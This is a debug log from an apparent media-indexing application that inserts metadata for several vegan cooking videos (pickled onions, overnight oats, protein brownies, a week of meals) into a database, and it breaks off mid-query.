[debug] QUERY OK source="sources" db=0.6ms idle=6.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:08.655 [debug] QUERY OK source="media_items" db=2.3ms queue=0.1ms idle=6.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-07-06 00:00:00Z], 1] 20:31:08.658 [debug] QUERY OK source="media_items" db=1.7ms idle=8.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["How to make the best homemade pickled red onions! \n\nPickled red onions are delicious on their own, but they are also a delicious topping for almost ANYTHING including tacos, burgers, sandwiches, salads and more!\n\nGET THE FULL RECIPE ON MY BLOG ➡️ https://steamyvegan.com/pickled-red-o...\n\nIf you made this recipe and decide to share it on Facebook or Instagram, don't forget to tag me @SteamyVegan + #SteamyVegan! I love seeing your yummy recreations :)\n\nStill hungry? Follow me on my other social channels for more steamy deliciousness!\n\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com\n\nWHERE I GET MY MUSIC: \nThematic: I LOVE using Thematic for all my royalty-free music in my recipe videos. Their song selection is top notch, plus it helps promote fellow creators! Use my link to get 1 month of their PREMIUM membership for free!\n https://app.hellothematic.com/?via=st... \nMusic by Citrus Avenue - Espresso Sun - https://thmatc.co/?l=044B33FD\nMusic by Mr. Jello - Summer Sunday - https://thmatc.co/?l=046DFC48", "How to Make Homemade Pickled Red Onions", "580ea535-3340-42a9-bfa9-9041b3599d2e", 1, [], false, "kmBLjqO1DM8", "https://www.youtube.com/watch?v=kmBLjqO1DM8", 359, "/downloads/downloads/alec/Steamy Vegan/2022-07-06 How to Make Homemade Pickled Red Onions/How to Make Homemade Pickled Red Onions [kmBLjqO1DM8].NA", false, false, false, 5, ~U[2022-07-06 00:00:00Z], ~U[2026-03-22 03:31:08Z], ~U[2026-03-22 03:31:08Z], "How to make the best homemade pickled red onions! \n\nPickled red onions are delicious on their own, but they are also a delicious topping for almost ANYTHING including tacos, burgers, sandwiches, salads and more!\n\nGET THE FULL RECIPE ON MY BLOG ➡️ https://steamyvegan.com/pickled-red-o...\n\nIf you made this recipe and decide to share it on Facebook or Instagram, don't forget to tag me @SteamyVegan + #SteamyVegan! I love seeing your yummy recreations :)\n\nStill hungry? Follow me on my other social channels for more steamy deliciousness!\n\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com\n\nWHERE I GET MY MUSIC: \nThematic: I LOVE using Thematic for all my royalty-free music in my recipe videos. Their song selection is top notch, plus it helps promote fellow creators! Use my link to get 1 month of their PREMIUM membership for free!\n https://app.hellothematic.com/?via=st... \nMusic by Citrus Avenue - Espresso Sun - https://thmatc.co/?l=044B33FD\nMusic by Mr. Jello - Summer Sunday - https://thmatc.co/?l=046DFC48", "How to Make Homemade Pickled Red Onions", 1, nil, false, "kmBLjqO1DM8", "https://www.youtube.com/watch?v=kmBLjqO1DM8", "/downloads/downloads/alec/Steamy Vegan/2022-07-06 How to Make Homemade Pickled Red Onions/How to Make Homemade Pickled Red Onions [kmBLjqO1DM8].NA", false, ~U[2022-07-06 00:00:00Z]] 20:31:08.659 [debug] QUERY OK source="sources" db=0.8ms idle=8.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:08.661 [debug] QUERY OK source="media_items" db=2.1ms idle=7.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-07-02 00:00:00Z], 1] 20:31:08.663 [debug] QUERY OK source="media_items" db=1.1ms idle=9.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["If you like Piña Coladas... you'll LOVE these overnight oats! They're vegan and gluten-free and a great plant-based breakfast idea.\n\nWatch the full recipe video here and catch 2 other awesome overnight oats flavours! ➡️ \u00A0\u00A0\u00A0•\u00A0OVERNIGHT\u00A0OATS!\u00A0Piña\u00A0Colada,\u00A0Strawberry\u00A0Rh...\u00A0\u00A0\nFULL RECIPE ON MY BLOG ➡️ https://steamyvegankitchen.com/pina-c...\n\nWHY OVERNIGHT OATS ARE GREAT:\nThey’re cold soaked which is ideal on those warmer summer mornings\nThey’re fast to make the night before (hence the name ‘overnight oats’) and you can prepare several batches at once to enjoy throughout the week\nThey’re inexpensive – chances are you probably already have most of the basics in your fridge and pantry\nThey’re delicious and totally customizable — there’s literally a million-and-one ways to make them fit your diet or flavour preferences\n\nRun to your kitchen!\n\nMusic by ninjoi. - Sakana - https://thmatc.co/?l=601F4A59", "If you like Piña Coladas… you’ll LOVE these overnight oats! 🍍 🥥 🌴 Vegan and gluten-free", "f50e8f11-4a85-4217-9622-3d0bca75f413", 1, [], false, "W6s5kUucoZ4", "https://www.youtube.com/watch?v=W6s5kUucoZ4", 360, "/downloads/downloads/alec/Steamy Vegan/2022-07-02 If you like Piña Coladas… you’ll LOVE these overnight oats! 🍍 🥥 🌴 Vegan and gluten-free/If you like Piña Coladas… you’ll LOVE these overnight oats! 🍍 🥥 🌴 Vegan and gluten-free [W6s5kUucoZ4].NA", false, false, false, 2, ~U[2022-07-02 00:00:00Z], ~U[2026-03-22 03:31:08Z], ~U[2026-03-22 03:31:08Z], "If you like Piña Coladas... you'll LOVE these overnight oats! They're vegan and gluten-free and a great plant-based breakfast idea.\n\nWatch the full recipe video here and catch 2 other awesome overnight oats flavours! ➡️ \u00A0\u00A0\u00A0•\u00A0OVERNIGHT\u00A0OATS!\u00A0Piña\u00A0Colada,\u00A0Strawberry\u00A0Rh...\u00A0\u00A0\nFULL RECIPE ON MY BLOG ➡️ https://steamyvegankitchen.com/pina-c...\n\nWHY OVERNIGHT OATS ARE GREAT:\nThey’re cold soaked which is ideal on those warmer summer mornings\nThey’re fast to make the night before (hence the name ‘overnight oats’) and you can prepare several batches at once to enjoy throughout the week\nThey’re inexpensive – chances are you probably already have most of the basics in your fridge and pantry\nThey’re delicious and totally customizable — there’s literally a million-and-one ways to make them fit your diet or flavour preferences\n\nRun to your kitchen!\n\nMusic by ninjoi. - Sakana - https://thmatc.co/?l=601F4A59", "If you like Piña Coladas… you’ll LOVE these overnight oats! 🍍 🥥 🌴 Vegan and gluten-free", 1, nil, false, "W6s5kUucoZ4", "https://www.youtube.com/watch?v=W6s5kUucoZ4", "/downloads/downloads/alec/Steamy Vegan/2022-07-02 If you like Piña Coladas… you’ll LOVE these overnight oats! 🍍 🥥 🌴 Vegan and gluten-free/If you like Piña Coladas… you’ll LOVE these overnight oats! 🍍 🥥 🌴 Vegan and gluten-free [W6s5kUucoZ4].NA", false, ~U[2022-07-02 00:00:00Z]] 20:31:08.663 [debug] QUERY OK source="sources" db=0.7ms idle=7.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:08.666 [debug] QUERY OK source="media_items" db=1.9ms idle=6.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-06-29 00:00:00Z], 1] 20:31:08.668 [debug] QUERY OK source="media_items" db=1.8ms idle=7.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["I'm going to show you how to make OVERNIGHT OATS! 3 delicious flavors for summer that are easy, healthy and delicious! \n\nOvernight Oats are one of my favourite breakfast recipes for summer for a few reasons: \n1. They’re COLD soaked which is ideal on those warmer summer mornings\n2. They’re fast to make the night before (hence the name ‘overnight oats’) and you can prepare several batches at once to enjoy throughout the week\n3. They’re inexpensive - chances are you probably already have most of the basics in your fridge and pantry\n4. They’re delicious and totally customizable — the recipes I’m going to show you are fantastic and all, but there’s still tons of ways to make them fit your diet or flavour preferences.\nSo, save these recipes, take notes and let me show you a few of my favourite overnight oats recipes!\n\nCHECK OUT THE FULL RECIPES ON MY BLOG ⬇️\nStrawberry Rhubarb Overnight Oats: https://steamyvegan.com/strawberry-rh...\nPiña Colada Overnight Oats: https://steamyvegan.com/pina-colada-o...\nLemon Lavender Earl Grey Overnight Oats: https://steamyvegan.com/lemon-lavende...\n\nIf you made any of these recipes and decide to share it on Facebook or Instagram, don't forget to tag me @SteamyVegan + #SteamyVegan! I love seeing your yummy recreations :)\n\nLooking for more delicious vegan breakfasts? Check out some of my other recipe videos! ⬇️\nCACAO ORANGE GRANOLA: \u00A0\u00A0\u00A0•\u00A0CACAO\u00A0ORANGE\u00A0GRANOLA\u00A0//\u00A0vegan,\u00A0gluten-free...\u00A0\u00A0\nBREAKFAST MUFFINS: \u00A0\u00A0\u00A0•\u00A0GLUTEN-FREE\u00A0VEGAN\u00A0MUFFINS!\u00A0|\u00A02\u00A0easy,\u00A0delic...\u00A0\u00A0\nMY FAVE QUICK VEGAN BREKKIES: \u00A0\u00A0\u00A0•\u00A0QUICK\u00A0VEGAN\u00A0BREAKFASTS\u00A0|\u00A0vegan,\u00A0gluten-fre...\u00A0\u00A0\n\nTIMESTAMPS:\n0:00 - Intro\n1:08 - Strawberry Rhubarb Overnight Oats\n2:48 - Piña Colada Overnight Oats\n3:57 - Lemon Lavender Earl Grey Overnight Oats\n5:15 - Outro\n\nStill hungry? Follow me on my other social channels for more steamy deliciousness!\n\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com\n\nWHERE I GET MY MUSIC: \nThematic: I LOVE using Thematic for all my royalty-free music in my recipe videos. Their song selection is top notch, plus it helps promote fellow creators! Use my link to get 1 month of their PREMIUM membership for free!\n https://app.hellothematic.com/?via=st... \nMusic by ninjoi. - Acceptance - https://thmatc.co/?l=EA4B37B8\nMusic by ninjoi. - Sakana - https://thmatc.co/?l=601F4A59\nMusic by ninjoi. - Where Do I Go - https://thmatc.co/?l=D9D5BB1D", "OVERNIGHT OATS! Piña Colada, Strawberry Rhubarb, and Lemon Lavender Earl Grey Overnight Oats", "86d2c99f-b355-4763-9164-94f84ca12ba7", 1, [], false, "jEROCt5Y_pQ", "https://www.youtube.com/watch?v=jEROCt5Y_pQ", 361, "/downloads/downloads/alec/Steamy Vegan/2022-06-29 OVERNIGHT OATS! Piña Colada, Strawberry Rhubarb, and Lemon Lavender Earl Grey Overnight Oats/OVERNIGHT OATS! Piña Colada, Strawberry Rhubarb, and Lemon Lavender Earl Grey Overnight Oats [jEROCt5Y_pQ].NA", false, false, false, 4, ~U[2022-06-29 00:00:00Z], ~U[2026-03-22 03:31:08Z], ~U[2026-03-22 03:31:08Z], "I'm going to show you how to make OVERNIGHT OATS! 3 delicious flavors for summer that are easy, healthy and delicious! \n\nOvernight Oats are one of my favourite breakfast recipes for summer for a few reasons: \n1. They’re COLD soaked which is ideal on those warmer summer mornings\n2. They’re fast to make the night before (hence the name ‘overnight oats’) and you can prepare several batches at once to enjoy throughout the week\n3. They’re inexpensive - chances are you probably already have most of the basics in your fridge and pantry\n4. They’re delicious and totally customizable — the recipes I’m going to show you are fantastic and all, but there’s still tons of ways to make them fit your diet or flavour preferences.\nSo, save these recipes, take notes and let me show you a few of my favourite overnight oats recipes!\n\nCHECK OUT THE FULL RECIPES ON MY BLOG ⬇️\nStrawberry Rhubarb Overnight Oats: https://steamyvegan.com/strawberry-rh...\nPiña Colada Overnight Oats: https://steamyvegan.com/pina-colada-o...\nLemon Lavender Earl Grey Overnight Oats: https://steamyvegan.com/lemon-lavende...\n\nIf you made any of these recipes and decide to share it on Facebook or Instagram, don't forget to tag me @SteamyVegan + #SteamyVegan! I love seeing your yummy recreations :)\n\nLooking for more delicious vegan breakfasts? Check out some of my other recipe videos! ⬇️\nCACAO ORANGE GRANOLA: \u00A0\u00A0\u00A0•\u00A0CACAO\u00A0ORANGE\u00A0GRANOLA\u00A0//\u00A0vegan,\u00A0gluten-free...\u00A0\u00A0\nBREAKFAST MUFFINS: \u00A0\u00A0\u00A0•\u00A0GLUTEN-FREE\u00A0VEGAN\u00A0MUFFINS!\u00A0|\u00A02\u00A0easy,\u00A0delic...\u00A0\u00A0\nMY FAVE QUICK VEGAN BREKKIES: \u00A0\u00A0\u00A0•\u00A0QUICK\u00A0VEGAN\u00A0BREAKFASTS\u00A0|\u00A0vegan,\u00A0gluten-fre...\u00A0\u00A0\n\nTIMESTAMPS:\n0:00 - Intro\n1:08 - Strawberry Rhubarb Overnight Oats\n2:48 - Piña Colada Overnight Oats\n3:57 - Lemon Lavender Earl Grey Overnight Oats\n5:15 - Outro\n\nStill hungry? Follow me on my other social channels for more steamy deliciousness!\n\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com\n\nWHERE I GET MY MUSIC: \nThematic: I LOVE using Thematic for all my royalty-free music in my recipe videos. Their song selection is top notch, plus it helps promote fellow creators! Use my link to get 1 month of their PREMIUM membership for free!\n https://app.hellothematic.com/?via=st... \nMusic by ninjoi. - Acceptance - https://thmatc.co/?l=EA4B37B8\nMusic by ninjoi. - Sakana - https://thmatc.co/?l=601F4A59\nMusic by ninjoi. - Where Do I Go - https://thmatc.co/?l=D9D5BB1D", "OVERNIGHT OATS! Piña Colada, Strawberry Rhubarb, and Lemon Lavender Earl Grey Overnight Oats", 1, nil, false, "jEROCt5Y_pQ", "https://www.youtube.com/watch?v=jEROCt5Y_pQ", "/downloads/downloads/alec/Steamy Vegan/2022-06-29 OVERNIGHT OATS! Piña Colada, Strawberry Rhubarb, and Lemon Lavender Earl Grey Overnight Oats/OVERNIGHT OATS! Piña Colada, Strawberry Rhubarb, and Lemon Lavender Earl Grey Overnight Oats [jEROCt5Y_pQ].NA", false, ~U[2022-06-29 00:00:00Z]] 20:31:08.669 [debug] QUERY OK source="sources" db=0.6ms idle=7.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:08.671 [debug] QUERY OK source="media_items" db=2.1ms idle=6.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-06-25 00:00:00Z], 1] 20:31:08.673 [debug] QUERY OK source="media_items" db=1.5ms idle=7.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["There’s nothing quite like warm and gooey VEGAN PROTEIN BROWNIES to hit the spot when I suddenly get a craving for something chocolatey! 🤤\n\nGet 30% your first order of my favorite protein powder at GoodProtein.ca. Code: STEAMYVEGANKITCHEN30\n\nFudgey, moist, and boasting 12 GRAMS OF PROTEIN per serving, these gluten-free and vegan protein brownies are a treat you don’t need to feel guilty about. ☺️\n\nFULL RECIPE & INSTRUCTIONS ON MY BLOG ⬇️\nhttps://steamyvegan.com/protein-brown...\n\nWant more chocolatey goodness? These other recipe videos might interest you! ⬇️\nCHOCOLATE AVOCADO CREAM PIE: \u00A0\u00A0\u00A0•\u00A0Vegan\u00A0chocolate\u00A0pie\u00A0🥧\u00A0\u00A0\nCACAO ORANGE GRANOLA: \u00A0\u00A0\u00A0•\u00A0CACAO\u00A0ORANGE\u00A0GRANOLA\u00A0//\u00A0vegan,\u00A0gluten-free...\u00A0\u00A0\n7-INGREDIENT FUDGEY PROTEIN BARS: \u00A0\u00A0\u00A0•\u00A0VEGAN\u00A0PROTEIN\u00A0BARS\u00A0//\u00A07\u00A0ingredients,\u00A0vegan...\u00A0\u00A0\nDARK CHOCOLATE FRUITY NUT CLUSTERS: \u00A0\u00A0\u00A0•\u00A0VEGAN\u00A0VALENTINES\u00A0RECIPES\u00A0|\u00A0Easy\u00A0vegan\u00A0Vale...\u00A0\u00A0\n\nIf you made this recipe and decide to share it on Facebook or Instagram, don't forget to tag me @SteamyVegan + #SteamyVegan! I love seeing your yummy recreations :)\n\nStill hungry? Follow me on my other social channels for more steamy deliciousness!\n\nFFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com\n\nWHERE I GET MY MUSIC: \nThematic: I LOVE using Thematic for all my royalty-free music in my recipe videos. Their song selection is top notch, plus it helps promote fellow creators! Use my link to get 1 month of their PREMIUM membership for free!\n https://app.hellothematic.com/?via=st... \nMusic by Beats by Egomi - High Road - https://thmatc.co/?l=6CBB5FB2\nMusic by Mark Generous - Journal - https://thmatc.co/?l=FC68175F\nMusic by Mr. Jello - Passion Fruit - https://thmatc.co/?l=9DD7E56A", "VEGAN PROTEIN BROWNIES! Vegan high-protein brownies recipe", "4efb889f-c0b3-485d-ada7-682ddebccbec", 1, [], false, "CaX3rd60OUk", "https://www.youtube.com/watch?v=CaX3rd60OUk", 362, "/downloads/downloads/alec/Steamy Vegan/2022-06-25 VEGAN PROTEIN BROWNIES! Vegan high-protein brownies recipe/VEGAN PROTEIN BROWNIES! Vegan high-protein brownies recipe [CaX3rd60OUk].NA", false, false, false, 2, ~U[2022-06-25 00:00:00Z], ~U[2026-03-22 03:31:08Z], ~U[2026-03-22 03:31:08Z], "There’s nothing quite like warm and gooey VEGAN PROTEIN BROWNIES to hit the spot when I suddenly get a craving for something chocolatey! 🤤\n\nGet 30% your first order of my favorite protein powder at GoodProtein.ca. Code: STEAMYVEGANKITCHEN30\n\nFudgey, moist, and boasting 12 GRAMS OF PROTEIN per serving, these gluten-free and vegan protein brownies are a treat you don’t need to feel guilty about. ☺️\n\nFULL RECIPE & INSTRUCTIONS ON MY BLOG ⬇️\nhttps://steamyvegan.com/protein-brown...\n\nWant more chocolatey goodness? These other recipe videos might interest you! ⬇️\nCHOCOLATE AVOCADO CREAM PIE: \u00A0\u00A0\u00A0•\u00A0Vegan\u00A0chocolate\u00A0pie\u00A0🥧\u00A0\u00A0\nCACAO ORANGE GRANOLA: \u00A0\u00A0\u00A0•\u00A0CACAO\u00A0ORANGE\u00A0GRANOLA\u00A0//\u00A0vegan,\u00A0gluten-free...\u00A0\u00A0\n7-INGREDIENT FUDGEY PROTEIN BARS: \u00A0\u00A0\u00A0•\u00A0VEGAN\u00A0PROTEIN\u00A0BARS\u00A0//\u00A07\u00A0ingredients,\u00A0vegan...\u00A0\u00A0\nDARK CHOCOLATE FRUITY NUT CLUSTERS: \u00A0\u00A0\u00A0•\u00A0VEGAN\u00A0VALENTINES\u00A0RECIPES\u00A0|\u00A0Easy\u00A0vegan\u00A0Vale...\u00A0\u00A0\n\nIf you made this recipe and decide to share it on Facebook or Instagram, don't forget to tag me @SteamyVegan + #SteamyVegan! I love seeing your yummy recreations :)\n\nStill hungry? Follow me on my other social channels for more steamy deliciousness!\n\nFFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com\n\nWHERE I GET MY MUSIC: \nThematic: I LOVE using Thematic for all my royalty-free music in my recipe videos. Their song selection is top notch, plus it helps promote fellow creators! Use my link to get 1 month of their PREMIUM membership for free!\n https://app.hellothematic.com/?via=st... \nMusic by Beats by Egomi - High Road - https://thmatc.co/?l=6CBB5FB2\nMusic by Mark Generous - Journal - https://thmatc.co/?l=FC68175F\nMusic by Mr. Jello - Passion Fruit - https://thmatc.co/?l=9DD7E56A", "VEGAN PROTEIN BROWNIES! Vegan high-protein brownies recipe", 1, nil, false, "CaX3rd60OUk", "https://www.youtube.com/watch?v=CaX3rd60OUk", "/downloads/downloads/alec/Steamy Vegan/2022-06-25 VEGAN PROTEIN BROWNIES! Vegan high-protein brownies recipe/VEGAN PROTEIN BROWNIES! Vegan high-protein brownies recipe [CaX3rd60OUk].NA", false, ~U[2022-06-25 00:00:00Z]] 20:31:08.674 [debug] QUERY OK source="sources" db=0.4ms idle=7.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:08.676 [debug] QUERY OK source="media_items" db=1.8ms idle=6.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-06-10 00:00:00Z], 1] 20:31:08.678 [debug] QUERY OK source="media_items" db=1.1ms idle=7.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Here's a look at what I ate in a week as a gluten-free vegan! Easy meals that are nutritious and most importantly delicious 😉\n\nRECIPES/VIDEOS I MENTION IN THIS VIDEO: \nMy fave easy breakfasts: \u00A0\u00A0\u00A0•\u00A0QUICK\u00A0VEGAN\u00A0BREAKFASTS\u00A0|\u00A0vegan,\u00A0gluten-fre...\u00A0\u00A0\nMy go-to smoothies: \u00A0\u00A0\u00A0•\u00A0How\u00A0to\u00A0make\u00A0healthy\u00A0smoothies\u00A0💚\u00A0Easy,\u00A0deli...\u00A0\u00A0\nButter chickpeas (vegan butter chicken): \u00A0\u00A0\u00A0•\u00A0BUTTER\u00A0CHICKPEAS\u00A0|\u00A0Vegan\u00A0Butter\u00A0Chicken\u00A0Al...\u00A0\u00A0\nBroccoli chickpea salad: \u00A0\u00A0\u00A0•\u00A0Eat\u00A0ya\u00A0broccoli!\u00A0🥦\u00A0or,\u00A0make\u00A0this\u00A0Broccoli\u00A0...\u00A0\u00A0\nNourish bowls: \u00A0\u00A0\u00A0•\u00A0VEGAN\u00A0NOURISH\u00A0BOWLS\u00A0with\u00A0SPICY\u00A0COCONUT\u00A0RIC...\u00A0\u00A0\nStrawberry rhubarb pie: \u00A0\u00A0\u00A0•\u00A0VEGAN\u00A0STRAWBERRY\u00A0RHUBARB\u00A0PIE\u00A0//\u00A0How\u00A0to\u00A0mak...\u00A0\u00A0\n7-ingredient protein bars: \u00A0\u00A0\u00A0•\u00A0VEGAN\u00A0PROTEIN\u00A0BARS\u00A0//\u00A07\u00A0ingredients,\u00A0vegan...\u00A0\u00A0\n\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com\n\nWHERE I GET MY MUSIC: \nThematic: I LOVE using Thematic for all my royalty-free music in my recipe videos. Their song selection is top notch, plus it helps promote fellow creators! Use my link to get 1 month of their PREMIUM membership for free!\n https://app.hellothematic.com/?via=st... \nMusic by Naomi - If Love is the Answer - https://thmatc.co/?l=4857545D\nMusic by Naomi - Our Story - https://thmatc.co/?l=E20B259D\nMusic by Naomi - Saturday Light - https://thmatc.co/?l=2FE139D0\nMusic by Sonic Nothing - Blush - https://thmatc.co/?l=B94E51FA", "What I eat in a week as a gluten-free vegan 🌱 Simple, delicious and nutritious meals", "63817a50-b0b7-4410-a08a-cd36255e14ad", 1, [], false, "8E3Vra03ZVY", "https://www.youtube.com/watch?v=8E3Vra03ZVY", 363, "/downloads/downloads/alec/Steamy Vegan/2022-06-10 What I eat in a week as a gluten-free vegan 🌱 Simple, delicious and nutritious meals/What I eat in a week as a gluten-free vegan 🌱 Simple, delicious and nutritious meals [8E3Vra03ZVY].NA", false, false, false, 3, ~U[2022-06-10 00:00:00Z], ~U[2026-03-22 